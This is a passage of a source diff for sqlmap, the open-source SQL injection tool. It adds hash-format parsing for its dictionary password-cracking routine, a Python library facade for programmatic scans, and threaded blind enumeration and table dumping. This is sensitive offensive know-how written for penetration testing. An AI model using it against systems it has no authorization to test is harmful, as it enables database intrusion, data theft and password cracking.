if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.PHPASS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
|
||||
if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.PHPASS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.DJANGO_PBKDF2_SHA256, HASH.POSTGRES_SCRAM, HASH.MYSQL_SHA2, HASH.WERKZEUG_PBKDF2, HASH.WERKZEUG_SCRYPT, HASH.SHA256_UNIX_CRYPT, HASH.SHA512_UNIX_CRYPT, HASH.BCRYPT, HASH.WORDPRESS_BCRYPT, HASH.ASPNET_IDENTITY, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
|
||||
hash_ = hash_.lower()
|
||||
|
||||
if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
|
||||
|
|
@ -1068,10 +1402,32 @@ def dictionaryAttack(attack_dict):
|
|||
item = [(user, hash_), {"salt": hash_[0:2]}]
|
||||
elif hash_regex in (HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT):
|
||||
item = [(user, hash_), {"salt": hash_.split('$')[2], "magic": "$%s$" % hash_.split('$')[1]}]
|
||||
elif hash_regex in (HASH.SHA256_UNIX_CRYPT, HASH.SHA512_UNIX_CRYPT):
|
||||
item = [(user, hash_), {"salt": '$'.join(hash_.split('$')[2:-1]), "magic": "$%s$" % hash_.split('$')[1]}]
|
||||
elif hash_regex in (HASH.BCRYPT,):
|
||||
item = [(user, hash_), {"salt": hash_[7:29], "magic": hash_[:4], "cost": int(hash_[4:6])}]
|
||||
elif hash_regex in (HASH.WORDPRESS_BCRYPT,):
|
||||
item = [(user, hash_), {"salt": hash_[10:32], "magic": hash_[3:7], "cost": int(hash_[7:9])}]
|
||||
elif hash_regex in (HASH.ASPNET_IDENTITY,):
|
||||
_ = decodeBase64(hash_, binary=True)
|
||||
prf, iterations, saltlen = struct.unpack(">III", _[1:13])
|
||||
item = [(user, hash_), {"salt": _[13:13 + saltlen], "iterations": iterations, "prf": prf, "dklen": len(_) - 13 - saltlen}]
|
||||
elif hash_regex in (HASH.MYSQL_SHA2,):
|
||||
_ = hash_.split('*')
|
||||
item = [(user, hash_), {"salt": decodeHex(_[1]), "rounds": int(_[0].split('$')[-1], 16) * 1000, "prefix": hash_[:hash_.rindex('*') + 1]}]
|
||||
elif hash_regex in (HASH.JOOMLA, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.OSCOMMERCE_OLD):
|
||||
item = [(user, hash_), {"salt": hash_.split(':')[-1]}]
|
||||
elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1):
|
||||
item = [(user, hash_), {"salt": hash_.split('$')[1]}]
|
||||
elif hash_regex in (HASH.DJANGO_PBKDF2_SHA256,):
|
||||
item = [(user, hash_), {"salt": hash_.split('$')[2], "iterations": int(hash_.split('$')[1])}]
|
||||
elif hash_regex in (HASH.POSTGRES_SCRAM,):
|
||||
item = [(user, hash_), {"salt": hash_.split('$')[1].split(':')[1], "iterations": int(hash_.split('$')[1].split(':')[0])}]
|
||||
elif hash_regex in (HASH.WERKZEUG_PBKDF2,):
|
||||
item = [(user, hash_), {"salt": hash_.split('$')[1], "iterations": int(hash_.split('$')[0].split(':')[2]), "digestmod": hash_.split('$')[0].split(':')[1]}]
|
||||
elif hash_regex in (HASH.WERKZEUG_SCRYPT,):
|
||||
_ = hash_.split('$')[0].split(':')
|
||||
item = [(user, hash_), {"salt": hash_.split('$')[1], "N": int(_[1]), "r": int(_[2]), "p": int(_[3])}]
|
||||
elif hash_regex in (HASH.PHPASS,):
|
||||
if ITOA64.index(hash_[3]) < 32:
|
||||
item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:3]}]
|
||||
|
|
@ -1102,7 +1458,7 @@ def dictionaryAttack(attack_dict):
|
|||
while not kb.wordlists:
|
||||
|
||||
# the slowest of all methods hence smaller default dict
|
||||
if hash_regex in (HASH.ORACLE_OLD, HASH.PHPASS):
|
||||
if hash_regex in (HASH.ORACLE_OLD, HASH.PHPASS, HASH.SHA256_UNIX_CRYPT, HASH.SHA512_UNIX_CRYPT, HASH.WERKZEUG_SCRYPT, HASH.BCRYPT, HASH.WORDPRESS_BCRYPT, HASH.MYSQL_SHA2):
|
||||
dictPaths = [paths.SMALL_DICT]
|
||||
else:
|
||||
dictPaths = [paths.WORDLIST]
|
||||
|
|
|
|||
190
lib/utils/library.py
Normal file
190
lib/utils/library.py
Normal file
|
|
@ -0,0 +1,190 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
# Library facade for programmatic (in-code) usage: 'import sqlmap; sqlmap.scan(...)'.
|
||||
#
|
||||
# This is the code-level sibling of the REST API (lib/utils/api.py): both drive the engine as an
|
||||
# isolated subprocess for programmatic callers. The public names here are re-exported by sqlmap.py so
|
||||
# that they are reachable as 'sqlmap.scan', 'sqlmap.scanFromRequest' and 'sqlmap.SqlmapError'.
|
||||
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import tempfile
|
||||
|
||||
__all__ = ["scan", "scanFromRequest", "SqlmapError"]
|
||||
|
||||
# Absolute path of the engine entry point (this module lives at <root>/lib/utils/library.py)
|
||||
SQLMAP_FILE = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))), "sqlmap.py")
|
||||
|
||||
class SqlmapError(Exception):
|
||||
"""
|
||||
Raised by the library facade (scan/scanFromRequest) when a scan can not produce a result report
|
||||
"""
|
||||
|
||||
pass
|
||||
|
||||
def _terminateProcess(process):
|
||||
"""
|
||||
Best-effort hard teardown of a scan subprocess together with its whole process group, so a
|
||||
timed-out scan never leaves orphaned sqlmap workers behind (POSIX kills the group, others fall
|
||||
back to killing the process itself)
|
||||
"""
|
||||
|
||||
import signal
|
||||
|
||||
try:
|
||||
if os.name != "nt" and hasattr(os, "killpg"):
|
||||
os.killpg(os.getpgid(process.pid), getattr(signal, "SIGKILL", signal.SIGTERM))
|
||||
else:
|
||||
process.kill()
|
||||
except (OSError, AttributeError):
|
||||
try:
|
||||
process.kill()
|
||||
except (OSError, AttributeError):
|
||||
pass
|
||||
|
||||
def scan(url=None, requestFile=None, timeout=None, outputDir=None, raw=None, **options):
|
||||
"""
|
||||
Runs a sqlmap scan in a dedicated subprocess and returns its structured result (library usage).
|
||||
|
||||
Keyword options are plain sqlmap option names - exactly the names used in a sqlmap configuration
|
||||
file (data/sqlmap.conf) and by the REST API, i.e. the 'conf' names, NOT command line switches. So
|
||||
scan(url, technique="BEU", getBanner=True, dumpTable=True, tbl="users", level=3) is equivalent to
|
||||
the config file lines 'technique = BEU', 'getBanner = True', 'dumpTable = True', 'tbl = users',
|
||||
'level = 3'. Unknown names are rejected. The scan is driven through a generated config file passed
|
||||
with '-c' (the same mechanism the REST API uses), so there is a single option namespace and no
|
||||
argument escaping. 'raw' takes a list of extra raw command line switches for the rare thing not
|
||||
expressible as a config option (e.g. raw=["--fresh-queries"]).
|
||||
|
||||
The engine runs fully out-of-process, so a scan can never affect the calling process (no shared
|
||||
global state, no HTTP-stack patching, no risk of the host being exited). The return value is the
|
||||
parsed '--report-json' report - the same structure as the REST API '/scan/<id>/data' response: a
|
||||
dict with keys 'success', 'data' (a list of {'type_name', 'value'} entries: TARGET, TECHNIQUES,
|
||||
BANNER, DUMP_TABLE, ...), 'error' and 'meta'.
|
||||
|
||||
scan() is blocking and thread-safe, so it is both thread- and asyncio-ready: run several at once
|
||||
in threads, or from an event loop with 'await loop.run_in_executor(None, functools.partial(scan,
|
||||
url, dumpTable=True))'. For unattended/concurrent use the run is hardened like the REST API
|
||||
subprocess: batch mode (never prompts) with stdin closed, isolated file descriptors, its own
|
||||
output directory (so parallel scans of the same target can not collide on session/dump files and
|
||||
nothing accumulates on disk), engine output streamed to a temporary file rather than buffered in
|
||||
memory, and - when 'timeout' is set - the whole subprocess group is torn down on expiry. Pass
|
||||
'outputDir' to keep the run's files.
|
||||
|
||||
Example:
|
||||
import sqlmap
|
||||
result = sqlmap.scan("http://target/vuln.php?id=1", dumpTable=True, tbl="users")
|
||||
"""
|
||||
|
||||
import shutil
|
||||
import subprocess
|
||||
import time
|
||||
|
||||
from lib.core.common import saveConfig
|
||||
from lib.core.optiondict import optDict
|
||||
|
||||
if not (url or requestFile):
|
||||
raise SqlmapError("scan() requires either 'url' or 'requestFile'")
|
||||
|
||||
if not os.path.isfile(SQLMAP_FILE):
|
||||
raise SqlmapError("could not locate the sqlmap engine ('%s')" % SQLMAP_FILE)
|
||||
|
||||
knownOptions = set()
|
||||
for family in optDict.values():
|
||||
knownOptions.update(family)
|
||||
|
||||
config = {}
|
||||
if url:
|
||||
config["url"] = url
|
||||
if requestFile:
|
||||
config["requestFile"] = requestFile
|
||||
config.update(options)
|
||||
|
||||
unknown = [_ for _ in config if _ not in knownOptions]
|
||||
if unknown:
|
||||
raise SqlmapError("unknown option(s) %s - scan() expects sqlmap option names as used in a configuration file (e.g. getBanner, dumpTable, tbl, technique, level), not command line switches" % ", ".join(repr(_) for _ in sorted(unknown)))
|
||||
|
||||
handle, report = tempfile.mkstemp(prefix="sqlmap-", suffix=".json")
|
||||
os.close(handle)
|
||||
|
||||
# Each run gets its own output directory so concurrent scans can not collide on session/dump files
|
||||
# and no scan state piles up on disk. A caller-provided 'outputDir' is respected and left in place.
|
||||
ownOutput = not outputDir
|
||||
if ownOutput:
|
||||
outputDir = tempfile.mkdtemp(prefix="sqlmap-output-")
|
||||
|
||||
# engine plumbing goes through the very same option namespace
|
||||
config["batch"] = True
|
||||
config["disableColoring"] = True
|
||||
config["outputDir"] = outputDir
|
||||
config["reportJson"] = report
|
||||
|
||||
handle, configFile = tempfile.mkstemp(prefix="sqlmap-", suffix=".conf")
|
||||
os.close(handle)
|
||||
saveConfig(config, configFile)
|
||||
|
||||
argv = [sys.executable or "python", SQLMAP_FILE, "-c", configFile, "--ignore-stdin"]
|
||||
if raw:
|
||||
argv += list(raw)
|
||||
|
||||
logHandle, logFile = tempfile.mkstemp(prefix="sqlmap-", suffix=".log")
|
||||
devnull = open(os.devnull, "rb")
|
||||
|
||||
kwargs = {"shell": False, "close_fds": os.name != "nt", "cwd": os.path.dirname(SQLMAP_FILE) or '.', "stdin": devnull, "stdout": logHandle, "stderr": subprocess.STDOUT}
|
||||
if os.name == "nt":
|
||||
kwargs["creationflags"] = getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0)
|
||||
elif sys.version_info >= (3, 2):
|
||||
kwargs["start_new_session"] = True # own process group -> clean group teardown
|
||||
else:
|
||||
kwargs["preexec_fn"] = os.setsid
|
||||
|
||||
process = None
|
||||
try:
|
||||
process = subprocess.Popen(argv, **kwargs)
|
||||
|
||||
if timeout is None:
|
||||
process.wait()
|
||||
else:
|
||||
end = time.time() + timeout
|
||||
while process.poll() is None:
|
||||
if time.time() > end:
|
||||
_terminateProcess(process)
|
||||
process.wait()
|
||||
raise SqlmapError("scan timed out after %s second(s)" % timeout)
|
||||
time.sleep(0.5)
|
||||
|
||||
try:
|
||||
with open(report, "rb") as f:
|
||||
return json.loads(f.read().decode("utf-8", "replace"))
|
||||
except (IOError, OSError, ValueError):
|
||||
try:
|
||||
with open(logFile, "rb") as f:
|
||||
tail = f.read().decode("utf-8", "replace").strip()
|
||||
except (IOError, OSError):
|
||||
tail = ""
|
||||
raise SqlmapError("scan did not produce a valid report (exit code %s)\n%s" % (getattr(process, "returncode", None), tail[-1000:]))
|
||||
finally:
|
||||
try:
|
||||
os.close(logHandle)
|
||||
except OSError:
|
||||
pass
|
||||
devnull.close()
|
||||
for path in (report, logFile, configFile):
|
||||
try:
|
||||
os.remove(path)
|
||||
except OSError:
|
||||
pass
|
||||
if ownOutput:
|
||||
shutil.rmtree(outputDir, ignore_errors=True)
|
||||
|
||||
def scanFromRequest(requestFile, **options):
|
||||
"""
|
||||
Convenience wrapper for scan(requestFile=...) - runs a scan from a saved HTTP request file ('-r')
|
||||
"""
|
||||
|
||||
return scan(requestFile=requestFile, **options)
|
||||
|
|
@ -45,6 +45,7 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None):
|
|||
|
||||
validColumnList = False
|
||||
validPivotValue = False
|
||||
compositePivot = None
|
||||
|
||||
if count is None:
|
||||
query = dumpNode.count % table
|
||||
|
|
@ -118,6 +119,26 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None):
|
|||
errMsg = "all provided column name(s) are non-existent"
|
||||
raise SqlmapNoneDataException(errMsg)
|
||||
|
||||
if not validPivotValue:
|
||||
# No single column holds all-distinct values. Fall back to a COMPOSITE pivot (a
|
||||
# concatenation of every column) whose combined value is unique per row, so rows sharing
|
||||
# a value in every individual column are no longer silently dropped (ref: #1545).
|
||||
_composite = agent.concatQuery(','.join(colList))
|
||||
query = dumpNode.count2 % (_composite, table)
|
||||
query = agent.whereQuery(query)
|
||||
value = inject.getValue(query, blind=blind, union=not blind, error=not blind, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
|
||||
|
||||
if isNumPosStrValue(value) and int(value) == count:
|
||||
infoMsg = "using a concatenation of all columns as a "
|
||||
infoMsg += "composite pivot for retrieving row data"
|
||||
logger.info(infoMsg)
|
||||
|
||||
compositePivot = _composite
|
||||
lengths[compositePivot] = 0
|
||||
entries[compositePivot] = BigArray()
|
||||
colList.insert(0, compositePivot)
|
||||
validPivotValue = True
|
||||
|
||||
if not validPivotValue:
|
||||
warnMsg = "no proper pivot column provided (with unique values)."
|
||||
warnMsg += " It won't be possible to retrieve all rows"
|
||||
|
|
@ -186,4 +207,9 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None):
|
|||
|
||||
logger.critical(errMsg)
|
||||
|
||||
# The composite pivot is a synthetic paging key, not a real column - drop it from the output
|
||||
if compositePivot is not None:
|
||||
entries.pop(compositePivot, None)
|
||||
lengths.pop(compositePivot, None)
|
||||
|
||||
return entries, lengths
|
||||
|
|
|
|||
|
|
@ -401,26 +401,39 @@ class Databases(object):
|
|||
plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES
|
||||
indexRange = getLimitRange(count, plusOne=plusOne)
|
||||
|
||||
for index in indexRange:
|
||||
if Backend.isDbms(DBMS.SYBASE):
|
||||
query = _query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " "))
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB):
|
||||
query = _query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
|
||||
query = _query % index
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO):
|
||||
query = _query % (index, unsafeSQLIdentificatorNaming(db))
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.SPANNER,):
|
||||
query = _query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(db), index)
|
||||
else:
|
||||
query = _query % (unsafeSQLIdentificatorNaming(db), index)
|
||||
# Value-parallel, prediction-assisted name enumeration for the DBMSes using the
|
||||
# generic "<db>, <index>" blind template. Retrieves whole names concurrently (one per
|
||||
# worker, each decoded sequentially so wordlist prediction applies). Used only with
|
||||
# '--threads' (like getColumns below); single-thread stays on the classic getValue loop,
|
||||
# which still gets predictive inference via getPartRun. The special templates stay serial.
|
||||
genericTemplate = Backend.getIdentifiedDbms() not in (DBMS.SYBASE, DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.SQLITE, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.SPANNER)
|
||||
|
||||
table = unArrayizeValue(inject.getValue(query, union=False, error=False))
|
||||
if genericTemplate and conf.threads > 1 and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN):
|
||||
for table in (inject._threadedInferenceValues(lambda index: _query % (unsafeSQLIdentificatorNaming(db), index), indexRange, context="Tables") or []):
|
||||
if not isNoneValue(table):
|
||||
kb.hintValue = table
|
||||
tables.append(safeSQLIdentificatorNaming(table, True))
|
||||
else:
|
||||
for index in indexRange:
|
||||
if Backend.isDbms(DBMS.SYBASE):
|
||||
query = _query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " "))
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB):
|
||||
query = _query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
|
||||
query = _query % index
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO):
|
||||
query = _query % (index, unsafeSQLIdentificatorNaming(db))
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.SPANNER,):
|
||||
query = _query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(db), index)
|
||||
else:
|
||||
query = _query % (unsafeSQLIdentificatorNaming(db), index)
|
||||
|
||||
if not isNoneValue(table):
|
||||
kb.hintValue = table
|
||||
table = safeSQLIdentificatorNaming(table, True)
|
||||
tables.append(table)
|
||||
table = unArrayizeValue(inject.getValue(query, union=False, error=False))
|
||||
|
||||
if not isNoneValue(table):
|
||||
kb.hintValue = table
|
||||
table = safeSQLIdentificatorNaming(table, True)
|
||||
tables.append(table)
|
||||
|
||||
if tables:
|
||||
kb.data.cachedTables[db] = tables
|
||||
|
|
@ -841,7 +854,7 @@ class Databases(object):
|
|||
logger.error(errMsg)
|
||||
continue
|
||||
|
||||
for index in getLimitRange(count):
|
||||
def columnNameQuery(index):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO):
|
||||
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
|
||||
query += condQuery
|
||||
|
|
@ -880,8 +893,22 @@ class Databases(object):
|
|||
query += condQuery
|
||||
field = condition
|
||||
|
||||
query = agent.limitQuery(index, query, field, field)
|
||||
column = unArrayizeValue(inject.getValue(query, union=False, error=False))
|
||||
return agent.limitQuery(index, query, field, field)
|
||||
|
||||
indexList = list(getLimitRange(count))
|
||||
|
||||
# Value-parallel column-NAME enumeration: the same axis/mechanism as getTables (one name per
|
||||
# worker, decoded sequentially - no length probe, predictive inference applies, names stream
|
||||
# live). Serial fallback for single-thread and when also fetching per-column comments.
|
||||
columnNames = None
|
||||
if conf.threads > 1 and not conf.getComments and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN):
|
||||
columnNames = inject._threadedInferenceValues(columnNameQuery, indexList, context="Columns")
|
||||
|
||||
for position, index in enumerate(indexList):
|
||||
if columnNames is not None:
|
||||
column = unArrayizeValue(columnNames[position])
|
||||
else:
|
||||
column = unArrayizeValue(inject.getValue(columnNameQuery(index), union=False, error=False))
|
||||
|
||||
if not isNoneValue(column):
|
||||
if conf.getComments:
|
||||
|
|
|
|||
|
|
@ -418,41 +418,70 @@ class Entries(object):
|
|||
debugMsg += "dumped as it appears to be empty"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
def cellQuery(column, index):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER):
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, prioritySortColumns(colList)[0], index)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,):
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL,):
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), prioritySortColumns(colList)[0], index)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.EXTREMEDB):
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index)
|
||||
elif Backend.isDbms(DBMS.FIREBIRD):
|
||||
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO):
|
||||
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, prioritySortColumns(colList)[0])
|
||||
elif Backend.isDbms(DBMS.FRONTBASE):
|
||||
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl)
|
||||
else:
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index)
|
||||
|
||||
return agent.whereQuery(query)
|
||||
|
||||
try:
|
||||
for index in indexRange:
|
||||
# Value-parallel dumping: one whole cell per worker, decoded sequentially, so there
|
||||
# is NO per-cell LENGTH() probe (the position-parallel path needs one to split a
|
||||
# value's characters across threads) and the per-column Huffman model + low-cardinality
|
||||
# guessing engage under concurrency. Used for the boolean channel with '--threads'; the
|
||||
# classic per-character-parallel loop stays for single-thread and time-based.
|
||||
if conf.threads > 1 and not conf.dnsDomain and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN):
|
||||
# One value-parallel pass over every (non-empty) cell, so there is a single
|
||||
# thread pool and values stream live as they complete - out of order, exactly
|
||||
# like the error/union dumps - instead of a silent progress counter.
|
||||
nonEmpty = [_ for _ in colList if _ not in emptyColumns]
|
||||
tasks = [(column, index) for column in nonEmpty for index in indexRange]
|
||||
retrieved = inject._threadedInferenceValues(lambda pair: cellQuery(pair[0], pair[1]), tasks, charsetType=None, dump=True) if tasks else []
|
||||
retrieved = retrieved if retrieved is not None else [None] * len(tasks)
|
||||
|
||||
offset = 0
|
||||
for column in colList:
|
||||
value = ""
|
||||
entries[column] = BigArray()
|
||||
lengths.setdefault(column, 0)
|
||||
|
||||
if column not in lengths:
|
||||
lengths[column] = 0
|
||||
|
||||
if column not in entries:
|
||||
entries[column] = BigArray()
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER):
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, prioritySortColumns(colList)[0], index)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,):
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL,):
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), prioritySortColumns(colList)[0], index)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.EXTREMEDB):
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index)
|
||||
elif Backend.isDbms(DBMS.FIREBIRD):
|
||||
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO):
|
||||
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, prioritySortColumns(colList)[0])
|
||||
elif Backend.isDbms(DBMS.FRONTBASE):
|
||||
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl)
|
||||
if column in emptyColumns:
|
||||
values = [NULL] * len(indexRange)
|
||||
else:
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index)
|
||||
values = retrieved[offset:offset + len(indexRange)]
|
||||
offset += len(indexRange)
|
||||
|
||||
query = agent.whereQuery(query)
|
||||
for value in values:
|
||||
value = '' if value is None else value
|
||||
lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
|
||||
entries[column].append(value)
|
||||
else:
|
||||
for index in indexRange:
|
||||
for column in colList:
|
||||
if column not in lengths:
|
||||
lengths[column] = 0
|
||||
|
||||
value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True)
|
||||
value = '' if value is None else value
|
||||
if column not in entries:
|
||||
entries[column] = BigArray()
|
||||
|
||||
lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
|
||||
entries[column].append(value)
|
||||
value = NULL if column in emptyColumns else inject.getValue(cellQuery(column, index), union=False, error=False, dump=True)
|
||||
value = '' if value is None else value
|
||||
|
||||
lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
|
||||
entries[column].append(value)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
kb.dumpKeyboardInterrupt = True
|
||||
|
|
|
|||
15
sqlmap.py
15
sqlmap.py
|
|
@ -55,7 +55,7 @@ try:
|
|||
|
||||
from lib.core.common import banner
|
||||
from lib.core.common import checkPipedInput
|
||||
from lib.core.common import checkSums
|
||||
from lib.core.common import codeIsModified
|
||||
from lib.core.common import createGithubIssue
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import extractRegexResult
|
||||
|
|
@ -192,6 +192,9 @@ def main():
|
|||
elif conf.vulnTest:
|
||||
from lib.core.testing import vulnTest
|
||||
os._exitcode = 1 - (vulnTest() or 0)
|
||||
elif conf.fpTest:
|
||||
from lib.core.testing import fpTest
|
||||
os._exitcode = 1 - (fpTest() or 0)
|
||||
elif conf.apiTest:
|
||||
from lib.core.testing import apiTest
|
||||
os._exitcode = 1 - (apiTest() or 0)
|
||||
|
|
@ -279,7 +282,7 @@ def main():
|
|||
print()
|
||||
errMsg = unhandledExceptionMessage()
|
||||
excMsg = traceback.format_exc()
|
||||
valid = checkSums()
|
||||
valid = not codeIsModified()
|
||||
|
||||
os._exitcode = 255
|
||||
|
||||
|
|
@ -607,7 +610,7 @@ def main():
|
|||
except OSError:
|
||||
pass
|
||||
|
||||
if any((conf.vulnTest, conf.smokeTest, conf.apiTest)) or not filterNone(filepath for filepath in glob.glob(os.path.join(tempDir, '*')) if not any(filepath.endswith(_) for _ in (".lock", ".exe", ".so", '_'))): # ignore junk files
|
||||
if any((conf.vulnTest, conf.fpTest, conf.smokeTest, conf.apiTest)) or not filterNone(filepath for filepath in glob.glob(os.path.join(tempDir, '*')) if not any(filepath.endswith(_) for _ in (".lock", ".exe", ".so", '_'))): # ignore junk files
|
||||
try:
|
||||
shutil.rmtree(tempDir, ignore_errors=True)
|
||||
except OSError:
|
||||
|
|
@ -661,3 +664,9 @@ if __name__ == "__main__":
|
|||
else:
|
||||
# cancelling postponed imports (because of CI/CD checks)
|
||||
__import__("lib.controller.controller")
|
||||
|
||||
# exposing the programmatic library facade as 'sqlmap.scan()' / 'sqlmap.scanFromRequest()'
|
||||
from lib.utils.library import scan, scanFromRequest, SqlmapError
|
||||
|
||||
# public library API (also marks the re-exported names above as intentional for pyflakes)
|
||||
__all__ = ["scan", "scanFromRequest", "SqlmapError"]
|
||||
|
|
|
|||
|
|
@ -216,7 +216,7 @@ paths:
|
|||
value:
|
||||
success: true
|
||||
options:
|
||||
url: "http://testasp.vulnweb.com/showforum.asp?id=1"
|
||||
url: "https://sekumart.sekuripy.hr/product.php?id=1"
|
||||
batch: true
|
||||
threads: 1
|
||||
invalidTask:
|
||||
|
|
@ -257,7 +257,7 @@ paths:
|
|||
value:
|
||||
success: true
|
||||
options:
|
||||
url: "http://testasp.vulnweb.com/showforum.asp?id=1"
|
||||
url: "https://sekumart.sekuripy.hr/product.php?id=1"
|
||||
cookie: "id=1"
|
||||
unknownOption:
|
||||
value:
|
||||
|
|
@ -290,7 +290,7 @@ paths:
|
|||
cookie: "id=1"
|
||||
setTarget:
|
